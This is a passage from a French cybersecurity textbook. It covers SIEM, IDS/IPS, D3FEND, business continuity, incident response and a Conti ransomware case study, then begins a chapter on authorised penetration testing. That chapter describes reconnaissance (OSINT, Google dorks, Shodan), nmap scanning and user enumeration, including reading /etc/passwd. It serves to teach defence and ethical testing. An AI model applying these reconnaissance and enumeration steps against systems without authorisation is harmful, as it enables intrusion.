			Un SIEM doit être exploité par un SOC (Security Operations Center), équipe d’analystes entraînés dans la qualification et l’analyse des alertes déclenchées par le SIEM, idéalement sur une couverture horaire en 24/7.

			Parmi les événements de sécurité que les SIEM sont en mesure d’identifier, citons :

			- Les attaques bruteforce.

			- Les situations d’impossible travel (ex. : un utilisateur se connecte depuis la France à 10 h 15 et depuis la Russie à 10 h 17).

			- Attaques par déni de service.

			- Copie de données excessive.

			

			- Scans de ports.

			- Propagation de virus.

			IDS, IPS et NDR

			Les IDS (Intrusion Detection Systems) et IPS (Intrusion Prevention Systems) partagent un objectif commun : le traitement des intrusions dans un système d’information. En l’absence de ces systèmes, un attaquant peut passer inaperçu pendant plusieurs semaines, voire plusieurs mois, causant des dégâts considérables avant d’être détecté.

			La différence principale entre les IDS et les IPS réside dans leur mode d’action : les IDS se limitent à la détection et à la notification d’une intrusion (déclenchement d’une alerte), tandis que les IPS interviennent activement pour stopper l’intrusion, par exemple en bloquant un flux réseau, en refusant une autorisation ou en interdisant un accès.

			Ces outils se divisent en deux grandes familles :

			- Network IDS et IPS : ils analysent le trafic réseau pour détecter des signatures malveillantes, des anomalies protocolaires ou des déviations par rapport à l’activité normale.

			- Host IDS et IPS : ils fonctionnent au niveau des systèmes d’exploitation pour surveiller l’intégrité des fichiers et reconnaître des modifications non autorisées. Ces outils sont également appelés FIM (File Integrity Monitoring).

			À ces technologies s’ajoute une évolution récente et complémentaire : les NDR (Network Detection and Response). Contrairement aux IDS et IPS traditionnels qui se concentrent principalement sur des signatures ou des règles définies, les NDR utilisent des approches avancées, notamment l’apprentissage automatique, pour détecter les comportements réseau anormaux et réagir face aux menaces. Ils offrent une visibilité accrue sur l’ensemble du réseau, y compris dans des environnements modernes tels que les réseaux hybrides ou multi-cloud, et intègrent des capacités de réponse automatisée ou semi-automatisée pour contenir les attaques.

			

			Matrice D3FEND

			La matrice D3FEND®52, développée par MITRE avec le soutien de la National Security Agency (NSA), est une base de connaissances des techniques de défense en cybersécurité. Elle constitue une ressource très intéressante pour bâtir une défense en profondeur.

			À la date de la rédaction, la matrice D3FEND se compose de six tactiques principales, composées à leur tour de tactiques spécifiques :

			1.Durcissement (Harden)

			- Durcissement des applications (Application Hardening) : mesures visant à rendre les applications plus résistantes aux attaques en supprimant les vulnérabilités exploitables ; cela fait l’objet d’un chapitre entier dans ce livre.

			- Durcissement des identifiants (Credential Hardening) : renforcement des mécanismes d’authentification pour protéger les identifiants contre le vol ou l’utilisation abusive (authentification biométrique, rotation des identifiants, politique de mots de passe forts, etc.).

			- Durcissement des messages (Message Hardening) : sécurisation des communications entre systèmes pour garantir leur confidentialité et leur authenticité (chiffrement des messages, authentification des agents de transfert, etc.).

			- Durcissement des plateformes (Platform Hardening) : protection des systèmes d’exploitation et des environnements matériels en limitant les failles exploitables (vérification de l’intégrité des pilotes, chiffrement des disques, permissions des fichiers locaux, etc.) ; nous avons étudié cela dans le chapitre sur la sécurité des systèmes et des réseaux.

			2.Détection (Detect)

			- Analyse des fichiers (File Analysis) : évaluation du statut d’un fichier, par exemple s’il s’agit d’un virus, d’un cheval de Troie, d’un fichier bénin, malveillant ou sensible.

			- Analyse des identifiants (Identifier Analysis) : examen des artefacts tels que les adresses IP, les noms de domaine ou les URL pour évaluer leur légitimité ou leur potentiel malveillant.

			

			- Analyse des messages (Message Analysis) : évaluation du contenu des courriels ou des messages instantanés pour détecter des activités non autorisées ou malveillantes.

			- Analyse du trafic réseau (Network Traffic Analysis) : surveillance et évaluation du trafic réseau intercepté afin de détecter des activités non autorisées.

			- Surveillance de la plateforme (Platform Monitoring) : observation continue des systèmes d’exploitation et des environnements matériels pour identifier des anomalies ou des signes de compromission.

			- Analyse des processus (Process Analysis) : étude des processus en cours d’exécution sur un système pour détecter des comportements suspects ou non autorisés.

			- Analyse du comportement des utilisateurs (User Behavior Analysis, « UBA ») : surveillance et évaluation des actions des utilisateurs pour identifier des écarts par rapport aux comportements habituels, pouvant indiquer une compromission ou une menace interne.

			3.Isolation (Isolate)

			- Isolation de l’exécution (Execution Isolation) : séparation des processus en cours d’exécution pour empêcher qu’un processus compromis interfère avec d’autres ; cela inclut l’utilisation de sandboxes, de machines virtuelles ou de conteneurs.

			- Isolation réseau (Network Isolation) : segmentation du réseau pour limiter la propagation des menaces, en isolant les environnements critiques ou les systèmes sensibles à l’aide de pare-feux, VLANs ou DMZ.

			4.Tromperie (Deceive)

			- Environnement leurre (Decoy Environment) : création d’environnements simulés, tels que des honeypots ou des infrastructures fictives, pour inciter les attaquants à interagir avec des cibles non critiques et observer leurs comportements.

			- Objet leurre (Decoy Object) : déploiement d’artefacts trompeurs, tels que des fichiers ou des identifiants falsifiés, pour piéger les attaquants et suivre leurs actions tout en protégeant les actifs réels.

			5.Éviction (Evict)

			

			- Éviction des identifiants (Credential Eviction) : révocation ou suppression des identifiants compromis, comme des mots de passe ou des clés d’authentification, pour empêcher tout accès futur non autorisé.

			- Éviction des objets (Object Eviction) : suppression ou désactivation des fichiers, artefacts ou autres objets malveillants identifiés sur un système ou un réseau.

			- Éviction des processus (Process Eviction) : arrêt ou suppression des processus en cours d’exécution qui ont été identifiés comme malveillants ou non autorisés, pour stopper leur activité nuisible.

			6.Restauration (Restore)

			- Restauration des accès (Restore Access) : rétablissement des autorisations ou des identifiants légitimes après leur suspension ou leur révocation, en s’assurant qu’ils respectent les politiques de sécurité mises à jour.

			- Restauration des objets (Restore Object) : récupération ou réparation des fichiers, applications ou configurations affectés, afin de les rendre de nouveau opérationnels tout en préservant leur intégrité et leur sécurité.

			

			

			Continuité de l’activité

			Définitions

			Les attaques par ransomware peuvent avoir des conséquences dévastatrices pour une organisation : image écornée, activité à l’arrêt pendant plusieurs semaines voire plusieurs mois, pertes financières massives et, dans le pire des cas, faillite.

			Pour avoir une chance de survivre à un cryptolocker, il faut avoir mis en place des dispositifs techniques et organisationnels destinés à assurer la continuité de l’activité, incluant au minimum des sauvegardes régulières et idéalement un PCA (plan de continuité de l’activité).

			Le document Plan de continuité informatique53, qui fait partie des guides pratiques spécifiques de la politique générale de sécurité des systèmes d’information de santé (PGSSI-S), présente un schéma de synthèse illustrant les relations entre les différents plans qui implémentent la stratégie de continuité :
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			La norme ISO 22301 définit la continuité d’activité comme la « capacité de l’organisation à poursuivre la fourniture de produits ou la prestation de services à des niveaux acceptables et préalablement définis après un incident perturbateur ».

			Le plan qui vise à assurer la continuité de ces activités métier est nommé plan de continuité de l’activité (PCA).

			Une grande partie des activités métier de la structure s’appuie bien sûr sur le SI pour sa bonne réalisation : les différentes mesures de sécurité visant le maintien des fonctions assurées par ce SI sont formalisées dans le plan de continuité informatique (PCI). Le PCI doit donc être considéré comme étant l’une des parties du PCA global de l’organisation.

			Le plan de reprise d’activité (PRA) est l’ensemble des mesures prévues pour rétablir l’activité de la structure après qu’elle a été interrompue à la suite d’un incident. Le PRA fait également partie du PCA ; il est parfois désigné sous le nom de « plan de secours ».

			Le plan de reprise informatique (PRI) est l’ensemble des mesures prévues pour rétablir l’activité du SI après qu’elle a été interrompue à la suite d’un incident ; c’est le volet du PRA consacré au SI.

			Les principes généraux de sauvegarde des données sont définis dans un plan de sauvegarde. Ce plan comprend l’ensemble des procédures liées à la sauvegarde et à la restauration pour un périmètre identifié sur lequel elles doivent être appliquées. Le plan de sauvegarde fait partie du PCI.

			Business Impact Analysis

			La première étape dans la définition d’un PCI, si on part de zéro, est la réalisation d’une Business Impact Analysis (BIA), qui peut être menée en même temps qu’une appréciation des risques.

			La BIA débute par un inventaire des processus métier d’une organisation, par exemple : recherche et développement, ressources humaines, comptabilité, commerce, production, recrutement, hébergement informatique, etc.

			

			Pour chaque processus identifié, la BIA détermine les exigences en termes de :

			- DMIA : durée maximale d’interruption acceptable.

			- RTO : Recovery Time Objective (objectif de délai de rétablissement), qui doit forcément être inférieur à la DMIA.

			- PDMA : perte maximale de données admise.

			- RPO « Recovery Point Objective » (objectif de point de restauration), qui ne doit pas dépasser la PDMA.

			En clair, plus un processus est critique, plus il sera exigeant en termes de RTO et RPO. Cela indique où il faut concentrer les moyens à déployer pour assurer la continuité : les investissements seront plus importants en correspondance aux processus les plus critiques.

			Ensuite, pour chaque processus identifié, sont passés en revue les scénarios de menace qui pourraient le toucher : menaces naturelles (tremblements de terre, inondations, incendies…), cyberattaques, vol, sabotage, pandémies, grèves, coupures télécom, coupures d’électricité, incidents IT, défaillance d’un fournisseur, etc.

			L’analyse ne peut pas être exhaustive : il serait illusoire de vouloir anticiper tous les scénarios défavorables possibles. Pour une première approche, il est recommandé de ne pas multiplier les scénarios, et de se limiter à ceux qui présentent des spécificités suffisamment fortes pour se distinguer les uns des autres dans la façon dont ils devront être pris en compte. Les scénarios retenus pourront être affinés ultérieurement si le besoin s’en fait sentir.

			Stratégies de continuité

			Après l’identification des scénarios de menace, le travail porte sur la définition de mesures de sécurité permettant la continuité, ou au moins la reprise, des processus touchés.

			

			Plusieurs stratégies sont possibles, en ordre croissant de coût :

			- Sauvegardes stockées sur site, sur disque : cette configuration est vulnérable à une attaque dans laquelle les assaillants parviennent à détruire les sauvegardes avant de déclencher le cryptolocker.

			- Sauvegardes stockées sur site, sur bande, dans un coffre : cette configuration pallie le défaut évoqué plus haut, mais reste vulnérable aux catastrophes environnementales entraînant une inaccessibilité ou une destruction des locaux.

			- Externalisation des sauvegardes, sans site de secours : cette configuration résout les problèmes des deux méthodes précédentes, mais a le défaut de ne pas prévoir des systèmes pour la restauration des données. Cela peut entraîner des retards importants dans la reprise.

			- Site de secours froid : cette configuration prévoit un site de secours qui peut avoir une autre utilisation en temps normal (ex. : gymnase). Les serveurs et autres systèmes sont stockés, mais non installés et connectés. Lors d’un sinistre, un important travail doit être effectué pour mettre en service le site, ce qui conduit à des temps de reprise longs. Cependant, son coût de fonctionnement, hors période d’activation, est faible voire nul.

			- Site de secours tiède : cette configuration prévoit un site dans lequel on trouve des machines installées (mais pas forcément à jour), avec les données sur bande mais non importées dans les systèmes de données.

			- Site de secours chaud : c’est l’option la plus coûteuse, avec un site de secours où l’ensemble des serveurs et autres systèmes sont allumés, à jour, interconnectés, paramétrés, alimentés à partir des données sauvegardées et prêts à fonctionner. Le site fournit l’ensemble des infrastructures pour accueillir l’ensemble du personnel à tout moment et permet une reprise d’activité dans des délais relativement courts (quelques heures).

			Notons que le site de secours pour les systèmes informatiques peut très bien se situer dans le cloud, par exemple :

			- Site nominal on-premise, site de secours hébergé chez un fournisseur de cloud privé ou public.

			- Site nominal chez un fournisseur de cloud privé, qui fournit également le site de secours sur un autre datacenter.

			

			- Site nominal chez un fournisseur de cloud privé, site de secours chez un autre fournisseur de cloud privé (l’interopérabilité est un défi dans ce cas).

			- Site nominal chez un fournisseur de cloud privé, site de repli chez un fournisseur de cloud public.

			Tests

			Il est incontournable de tester régulièrement le PCA. Encore une fois, plusieurs options sont possibles, par exemple les suivantes, par ordre croissant de prix :

			- Test autour d’une table (tabletop/desktop exercise) : les principaux acteurs se réunissent et parcourent les scénarios « sur papier », en essayant d’identifier d’éventuels oublis ou incohérences. Sans la pression d’une vraie urgence, les participants à l’exercice peuvent calmement répéter leurs rôles, poser des questions et résoudre les problèmes.

			- Visite sur place (walkthrough) : cet exercice ressemble au précédent, sauf que l’équipe se déplace physiquement sur les différents sites mentionnés dans le PCA, ce qui apporte une dose complémentaire de réalisme et aide à peaufiner la compréhension des procédures.

			- Simulation (functional exercise) : pour ce type d’exercice, une simulation est construite autour d’un scénario donné, tel que la défaillance d’un système critique. Cela permet aux employés d’exercer leur rôle avec encore plus de réalisme.

			- Test grandeur nature, partiel ou complet (full-scale exercise) : il s’agit d’un exercice effectué en temps réel avec un vrai impact sur la production. L’objectif est de voir si les participants peuvent faire ce qu’on attend d’eux dans un délai donné. Un exercice grandeur nature est souvent compliqué et coûteux à organiser, mais assurera généralement un processus beaucoup plus fluide si le pire devait arriver.

			

			Gestion des incidents de sécurité

			La référence en matière de gestion des incidents de sécurité est le guide du NIST Computer Security Incident Handling Guide54, qui définit un incident de sécurité comme une violation ou une menace imminente de violation des politiques de sécurité, des chartes d’utilisation acceptables ou des pratiques de sécurité standard.

			Il est essentiel de réagir rapidement et efficacement aux incidents de sécurité identifiés, de façon à minimiser la perte ou le vol d’informations et la perturbation des activités métier.

			Le guide structure le processus de gestion des incidents de sécurité en quatre phases interconnectées, conçues dans une logique d’amélioration continue :

			1.Préparation.

			2.Détection et analyse.

			3.Confinement, éradication et récupération.

			4.Activité post-incident.
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			Il est intéressant de noter que ce même schéma est repris par Microsoft dans sa publication Gestion des incidents de sécurité55.

			Préparation

			La phase de préparation inclut les activités suivantes :

			- Sensibilisation (au moins annuelle) à la sécurité de l’information pour tous les collaborateurs de l’organisation, incluant notamment la procédure de signalement des incidents de sécurité.

			- Gestion des vulnérabilités (scans réguliers, priorisation, traitement).

			- Tests de sécurité automatisés, notamment lors du développement des applications.

			- Tests d’intrusion.

			

			- Campagnes d’entraînement avec red team (équipe offensive) et blue team (équipe défensive).

			Une action de préparation mérite d’être citée spécifiquement : la souscription à une cyberassurance. La cyberassurance est un contrat qui se compose de plusieurs types de garanties :

			- Gestion de crise cyber : accompagnement pendant et après l’incident par une équipe d’experts dédiés (experts informatiques, juridiques, en communication), travaillant avec l’assureur même ou via un cabinet spécialisé.

			- Prise en charge des dommages causés à l’entreprise (pertes d’exploitation, demande de rançon en cas de cyberextorsion).

			- Garantie de cyberresponsabilité (au cas où la responsabilité de l’entreprise serait engagée par un tiers).

			- Garantie en cas d’enquête administrative (l’assureur peut par exemple assumer les frais de défense de l’entreprise).

			Les risques couverts sont en général liés à des actions malveillantes :

			- Vol de données.

			- Vol de matériel informatique.

			- Piratage informatique.

			- Cyberextorsion (à travers un ransomware).

			- Sabotage des systèmes informatiques.

			Certaines cyberassurances couvrent également d’autres événements : incidents techniques, erreurs humaines, enquête d’une autorité administrative, amendes.

			Détection et analyse

			La détection des activités malveillantes repose sur des notifications et des alertes initiées par différentes sources :

			- SIEM.

			- Observation humaine.

			- Supervision des charges de travail.

			

			Ces informations sont idéalement traitées par un SOC, qui est responsable de l’analyse et de la qualification en incident de sécurité, en faisant éventuellement appel à des experts techniques de différentes équipes. Le SOC est également chargé de déterminer le niveau de sévérité d’un incident de sécurité, en fonction du périmètre touché, des réglementations applicables (ex. : RGPD) et des impacts en termes de disponibilité, d’intégrité et de confidentialité.

			La fonction SOC peut bien entendu être sous-traitée à un prestataire de service spécialisé ; il s’agit d’un investissement onéreux pour une PME, mais c’est le prix à payer pour se donner une chance d’identifier une cyberattaque avant qu’il ne soit trop tard.

			Après avoir réalisé la qualification de l’incident de sécurité, le SOC réalise une escalade à l’équipe de réponse aux incidents, habituellement nommée CERT (Computer Emergency Response Team) ou CSIRT (Computer Security Incident Response Team).

			Le CERT doit ensuite confirmer la légitimité de l’incident de sécurité et éliminer les faux positifs, en prenant garde à conserver et à sécuriser toutes les preuves récoltées. La fonction CERT peut aussi être sous-traitée ; c’est d’ailleurs le cas le plus fréquent.

			En France, les principaux CERT sont regroupés dans l’InterCERT France56, communauté organisée en association loi 1901, sans vocation commerciale et dont l’objectif est de renforcer la capacité de chaque membre à détecter et à répondre aux incidents de sécurité impactant son périmètre, à travers l’échange d’expériences et le partage d’informations.

			Confinement, éradication et récupération

			Après avoir détecté un incident de sécurité, il est important de contenir l’intrusion avant que l’adversaire puisse accéder à plus de ressources ou causer davantage de dommages. L’objectif principal des procédures de réponse aux incidents de sécurité est de limiter l’impact sur les clients ou leurs données, ou sur les systèmes, services et applications internes.

			

			L’éradication est le processus d’élimination de la cause initiale de l’incident de sécurité avec un niveau de confiance élevé. L’objectif est double :

			- Déloger complètement l’adversaire de l’environnement.

			- Traiter la vulnérabilité (si elle est connue) qui a permis ou qui pourrait permettre à l’adversaire de pénétrer à nouveau dans l’environnement.

			Parmi les actions les plus fréquentes à ce stade, citons :

			- Coupure des accès Internet.

			- Coupure des VPN.

			- Suppression des comptes compromis ou modification des mots de passe correspondants.

			- Mise en place de la MFA.

			- Déploiement d’une EDR.

			- Corrections des vulnérabilités.

			À mesure que l’équipe de réponse gagne un niveau raisonnable de confiance que l’adversaire a été supprimé de l’environnement et que tous les chemins d’accès vulnérables connus ont été supprimés, les équipes IT lancent les étapes de restauration pour mettre le service dans une configuration connue et sécurisée. Ces étapes de restauration sont réalisées en consultation avec le CERT et incluent l’identification du dernier bon état connu du service, la restauration à partir des sauvegardes vers cet état (habituellement J-1 par rapport à la compromission) et l’inspection des chemins d’attaque vulnérables dans l’état restauré.

			L’un des aspects clés de la récupération consiste à mettre en place des contrôles pour vérifier que le plan de récupération a été correctement exécuté et qu’il n’existe aucun signe de violation dans l’environnement.

			Il est important à ce stade de bien gérer la communication, aussi bien interne (à destination des collaborateurs et des différentes équipes techniques) qu’externe (à destination des clients, fournisseurs, partenaires, autorités de contrôle, forces de l’ordre et si nécessaire grand public).

			

			Activité post-incident

			Il est important que chaque incident de sécurité fasse l’objet d’une analyse post-mortem détaillée, avec toutes les parties impliquées dans la réponse, afin de :

			- Documenter la chronologie de l’incident.

			- Créer un résumé technique de l’incident, fondé sur les preuves récoltées et incluant la façon dont la réponse a été exécutée.

			- Identifier les échecs techniques, les défaillances procédurales, les erreurs manuelles, les failles de processus, les problèmes de communication et/ou les vecteurs d’attaque précédemment inconnus identifiés lors de la réponse à l’incident de sécurité.

			Le post-mortem peut contribuer directement à renforcer la résistance d’une organisation aux cyberattaques, si elle parvient à tirer toutes les leçons qui s’imposent. Cela s’inscrit dans la philosophie d’amélioration continue prônée par les normes de sécurité, telles que l’ISO 27001 (phase A du cycle PDCA).

			Étude de cas

			Cette étude de cas est inspirée d’événements réels.

			Contexte

			Le groupe GrpPharma opère dans le secteur pharmaceutique. Il dispose d’une DSI interne, dont le RSSI fait partie, et s’appuie sur les services de la société d’infogérance InfoGer pour l’exploitation de son système d’information, hébergé en partie sur le cloud privé de la même société InfoGer et en partie sur le cloud public Azure.

			

			Le vendredi 15 avril 2022, à 5 h 30 du matin, heure française, l’équipe d’astreinte d’InfoGer reçoit la notification que plusieurs dizaines de serveurs Windows de GrpPharma sont soudainement devenus injoignables par l’outil de supervision.

			Première réaction

			L’équipe d’astreinte envisage dans un premier temps une coupure réseau, mais se rend rapidement compte que les liens réseau sont opérationnels et que les équipements réseau fonctionnent normalement.

			L’équipe d’astreinte parvient à se connecter à plusieurs serveurs et constate sur les bureaux de ceux-ci la présence d’un fichier texte contenant une note de rançon signée par le groupe cybercriminel Conti. L’équipe constate donc que la perte de supervision des serveurs était liée au chiffrement de leurs données par un malware de type cryptolocker.

			Conformément au processus de gestion des incidents de sécurité, l’équipe d’astreinte réalise une escalade, en sollicitant :

			- L’équipe sécurité de GrpPharma.

			- L’équipe sécurité interne à InfoGer.

			

			Les deux équipes de sécurité prennent contact et se réunissent en visioconférence pour valider les premières décisions :

			- Couper les accès Internet aux systèmes de GrpPharma.

			- Déconnecter du réseau les serveurs virtuels (les étendre aurait été une erreur, car cela aurait impliqué une perte des données en mémoire vive, utiles pour les analyses à venir).

			- Solliciter la cyberassurance de GrpPharma.

			- Informer la CNIL de l’incident.

			- Porter plainte auprès de la gendarmerie.

			La cyberassurance mobilise une équipe CERT, spécialisée dans la réponse aux attaques par ransomware, et dépêche un gestionnaire de crise qui prend le leadership sur la gestion de la réponse à la cyberattaque, en coordonnant la mise en place de deux cellules de crise :

			- La cellule managériale, incluant les décideurs métier, les responsables informatiques et les responsables de la sécurité, chargée de valider les choix ayant un impact sur l’activité de GrpPharma.

			- La cellule technique, incluant les experts techniques de GrpPharma et InfoGer, ainsi que les analystes du CERT, responsables de l’investigation et du guidage dans les opérations de réponse à l’attaque.

			La cellule managériale se réunira une fois par jour, la cellule technique deux fois.

			Les premiers objectifs des analystes du CERT sont les suivants :

			- Identifier le vecteur d’intrusion initial.

			- Déterminer les actions de l’attaquant dans le réseau interne.

			- Identifier une potentielle fuite de données.

			- Déterminer les mesures de confinement de l’attaque.

			Analyse

			Les investigations permettent d’identifier une première trace de l’acteur malveillant sur le système d’information le 9 avril 2022, avec la compromission du contrôleur de domaine principal, suivie par l’installation du malware Cobalt Strike, outil permettant l’administration à distance (RAT : Remote Access Trojan).

			

			Les analyses révèlent que les attaquants ont ensuite effectué les tâches de reconnaissance interne avec les outils Adfind, Bloodhound, et Netscan, et ont réalisé les mouvements latéraux manuellement, en se connectant en RDP (Remote Desktop Protocol) à différents serveurs. Certaines IP de connexion RDP appartiennent au range attribué aux clients VPN. La suite des investigations montre que l’attaquant avait préalablement compromis un compte d’administration et l’avait utilisé pour une connexion VPN. Cette compromission avait été réalisée en infectant le PC d’un administrateur informatique à travers un phishing ciblé.

			L’analyse se porte ensuite sur l’éventuelle exfiltration des données : le CERT vérifie que le groupe malveillant a exfiltré au minimum la base NTDS du contrôleur de domaine Active Directory, contenant les informations de tous les utilisateurs et groupes du domaine.

			L’analyse des logs réseau montre, en plus, que plusieurs gigaoctets de données ont été exfiltrés sur une période de quatre heures, peu de temps avant le déclenchement du chiffrement du système d’information, le 15 avril.

			Remédiation

			Sur la base des recommandations du CERT, la cellule de crise technique obtient la validation de la cellule de crise managériale pour un plan de remédiation incluant les actions suivantes :

			- Réinitialiser les mots de passe de tous les comptes du domaine.

			- Construire une bulle de confiance à partir d’un nouveau contrôleur de domaine sain, obtenu par restauration de la dernière sauvegarde saine, ou par réinstallation d’un système d’exploitation.

			- Mettre en place LAPS sur tous les ordinateurs, pour sécuriser les mots de passe d’administration locale.

			- Déployer un EDR.

			- Améliorer les capacités de détection (SIEM/SOC).

			

			- Revoir l’architecture du réseau : cloisonnement et filtrage.

			- Mettre en place l’authentification multifacteur pour les comptes administrateurs de domaine.

			- Forcer l’authentification multifacteur pour les connexions VPN.

			Les actions de remédiation prendront cinq semaines, menées principalement par les équipes de InfoGer, avec une couverture 24/7 obtenue à travers un roulement. La cyberassurance prendra en charge une partie importante des pertes financières subies par GrpPharma, liées à l’arrêt de son SI.
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			Chapitre 8

			Sécurité offensive

			Préparation et reconnaissance

			Ce module décrit des méthodologies, techniques et outils spécifiques aux attaques informatiques. Cet arsenal peut être utilisé aussi bien de façon licite, dans le cadre de tests d’intrusion, que de façon illicite, par des pirates plus ou moins organisés.

			L’angle exploré dans ce cours est celui des tests d’intrusion (pentests) : une prestation de service dans laquelle une organisation fait appel à une entreprise spécialisée afin de connaître son niveau d’exposition. On parle dans ce cas d’« hacking éthique », réalisé par des white-hat hackers, en opposition aux pratiques souvent illégales des black-hat hackers.

			

			Il existe plusieurs référentiels qui proposent un cadre structuré pour les pentests :

			- Penetration Testing Execution Standard (PTES).

			- Open Source Security Testing Methodology Manual (OSSTMM).

			- Technical Guide to Information Security Testing and Assessment (SP 800-115 du NIST).

			- Penetration Testing Framework.

			- OWASP Testing Guide.

			Citons également le framework MITRE ATT&CK®57, une base de connaissances organisée et constamment mise à jour qui recense les tactiques, techniques et procédures (TTPs) utilisées par les cyberattaquants.

			La première phase de préparation d’un test d’intrusion est consacrée à la validation des règles d’engagement et à la définition du périmètre (scoping).

			Les règles d’engagement incluent :

			- Informations de contact (noms, adresses, numéros de téléphone, etc.).

			- Méthodes pour échanger les données de façon chiffrée tout au long du test.

			- Dates de début et de fin.

			- Plages horaires du test.

			- Approche vis-à-vis des administrateurs (les informer ou pas de l’exercice).

			- Méthodologie (boîte blanche/transparente, boîte grise, boîte noire).

			- Accord de confidentialité.

			Le scoping inclut :

			- Noms de domaines.

			- Plages d’adresses IP.

			- Liste d’applications.

			- Exclusions.

			- Environnement (il est préférable de réaliser les pentests en préproduction).

			

			- Détails sur les techniques de test (par exemple autorisation ou pas de l’ingénierie sociale, niveau d’agressivité des contrôles, etc.).

			Une fois l’exercice cadré, le test d’intrusion commence par la phase de reconnaissance.

			Dans cette phase, l’équipe chargée du pentest essaie de collecter un maximum d’informations sur la cible. Le site OSINT Framework58, très riche, inventorie les outils pertinents pour cet objectif.

			Les principales techniques utilisées sont décrites ci-après.

			Analyse des métadonnées

			La plupart des formats de fichiers incluent des métadonnées, dont les plus « juteuses » pour les pentesters sont les noms d’utilisateurs, les chemins dans les systèmes de fichiers, les adresses e-mail, les logiciels clients avec leurs versions et les notes.

			Les types de fichiers en format PDF, les fichiers de la suite Office et les images sont particulièrement riches en métadonnées.

			Pour obtenir ces documents, plusieurs possibilités s’offrent aux pentesters : revoir les documents administratifs validés en phase de préparation (accords, contrats, NDAs, etc.), chercher des documents sur les sites web de l’organisation ou, dans certains cas, puiser dans les serveurs de fichiers (pour les pentests internes).

			Parmi les outils d’extraction de métadonnées, citons ExifTool, FOCA, Metadata Extraction Tool et la simple commande Linux « strings ».

			Analyse des noms de domaine

			

			Dans la phase de reconnaissance, il est important d’extraire autant d’informations que possible à partir des noms de domaine à disposition.

			La première chose à faire est d’interroger les bases de données Whois, distribuées dans le monde. Quand un nom de domaine est enregistré, les registrars collectent plusieurs données sur les personnes associées au domaine, et ces données sont parfois rendues publiques (de moins en moins, cependant, depuis l’entrée en application du RGPD).

			Parmi les outils librement accessibles, citons les sites https://lookup.icann.org, http://www.geektools.com/whois.php, https://whois.net/, et la commande Linux « whois ».

			Plusieurs Regional Internet Registries (RIRs) stockent en plus des informations sur l’attribution des blocs IP, c’est le cas d’ARIN (Amérique du Nord), RIPE (région EMEA), LAC (Amérique latine), AfriNIC (Afrique), APNIC (Asie).

			Notons que l’information sur l’expiration proche d’un domaine peut être utilisée par des individus malveillants afin de créer des mails de phishing ciblés du type « Votre domaine expire dans 30 jours ».

			Moteurs de recherche

			L’étape successive de la reconnaissance est la recherche des informations publiquement disponibles sur Internet :

			- Les réseaux sociaux comme LinkedIn permettent d’obtenir les noms des employés de l’entreprise ciblée, parfois même de construire des organigrammes. Ce sont de renseignements précieux si le pentest inclut un exercice de phishing ou ingénierie sociale.

			- Les sites qui publient des offres d’emploi permettent souvent d’identifier les briques technologiques utilisées dans l’entreprise ciblée (pensons aux cas d’un DBA Oracle, d’un développeur Wordpress, d’un architecte AWS, etc.).

			- Les moteurs de recherche donnent la possibilité d’effectuer des recherches fines avec des directives comme « site:<domaine ciblé> », qui permet de restreindre le périmètre de recherche au site visé, ou « filetype:<extension> », qui permet de rechercher les fichiers avec une extension donnée.

			

			Notons enfin qu’il existe des sites qui publient des informations permettant d’identifier des cibles vulnérables en quelques clics, dont :

			- https://www.exploit-db.com/google-hacking-database, qui donne des « Google dorks », c’est-à-dire des chaînes pour rechercher des services vulnérables sur Internet.

			- https://www.shodan.io/, qui référence le résultat de scans de ports massifs effectués sur Internet, afin d’exposer les cibles vulnérables.

			- https://haveibeenpwned.com/, qui indique si une adresse mail donnée a fait l’objet d’une fuite d’identifiants ou de mots de passe.
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							- La méthode de pentest que j’ai rencontrée le plus souvent dans ma carrière est celle en boîte grise.

							- Si vous recherchez un prestataire pour un test d’intrusion, vous pouvez prendre en considération la liste des prestataires d’audit de la sécurité des systèmes d’information (PASSI) qualifiés par l’ANSSI, disponible sur : https://www.ssi.gouv.fr/uploads/liste-produits-et-services-qualifies.pdf

							- Le Graal, lors de la phase de reconnaissance d’un pentest en boîte noire, est de tomber sur des documents d’architecture décrivant les systèmes ciblés.

						
					

				
			

			

			Scan et exploitation

			Une fois la reconnaissance terminée, il est temps d’entreprendre des actions plus intrusives, en commençant par des scans. Les objectifs sont multiples : dresser une topologie du réseau, identifier les systèmes d’exploitation des hôtes, déterminer les ports ouverts et les services associés, et in fine lister les vulnérabilités potentielles.

			Scan

			Cette phase comporte plusieurs étapes, associées à différents types de scans :

			- Balayage d’adresses IP, réalisé habituellement par le biais d’un script qui utilise la commande « ping ». Le script parcourt toutes les adresses IP de la plage ciblée et répertorie celles qui répondent.

			- Analyse du cheminement des paquets, réalisé à travers les commandes « traceroute » (Linux) ou « tracert » (Windows), dans le but d’identifier les routes entre les différents systèmes et d’ébaucher un diagramme d’architecture réseau.

			- Balayage de ports, réalisé habituellement à travers la commande « nmap », dans le but d’identifier les ports TCP et UDP ouverts sur le réseau. Il est recommandé de lancer en parallèle un analyseur de paquets comme tcpdump, afin de collecter les traces du trafic réseau, dans le but de les étudier ultérieurement.

			- Reconnaissance (fingerprint) des OS, réalisée habituellement à travers l’option « -O » de « nmap », dans le but d’identifier les systèmes d’exploitation associés aux hôtes, qu’il s’agisse de serveurs ou d’équipements réseau en général.

			- Détection des versions, réalisée à travers un logiciel de banner grabbing, capable de collecter les bannières des services en écoute sur les hôtes, et d’en déduire les versions par comparaison avec une base de référence. L’option « -sV » de « nmap » permet de faire cela, et est souvent combinée avec l’option « -O » précédemment évoquée.

			

			- Scan de vulnérabilités, réalisé à travers des outils payants comme Nessus (Tenable), Qualys, Nexpose (Rapid7) ou des outils gratuits comme OpenVAS ou même le moteur NSE de « nmap ». L’objectif est de lister des failles, qui peuvent être liées à un défaut de patching (le cas le plus fréquent) ou à des erreurs de configuration. Notons qu’il existe des outils spécifiques à la recherche de vulnérabilités dans les applications web, appelés parfois « outils DAST » (cf. chapitre sur DevSecOps).

			Une composante importante des tests d’intrusion est l’obtention d’une liste des comptes pour les systèmes ciblés, un processus nommé « énumération des utilisateurs ». Certains pentesters considèrent qu’un nom d’utilisateur est presque aussi précieux qu’un mot de passe, et que l’acquisition de celui-ci constitue le premier « domino tombé » vers la conquête d’un réseau.

			Parmi les techniques utilisées, citons les suivantes :

			- Rechercher des adresses mail d’employés dans des forums, blogs, newsgroups ou réseaux sociaux.

			- Tenter d’extraire des noms d’utilisateurs à partir des adresses mail collectées.

			- Puiser des noms d’utilisateurs dans les métadonnées des documents.

			- Sur Linux, afficher le contenu de /etc/passwd, ou tenter une recherche avec ldapsearch si un annuaire LDAP est utilisé.

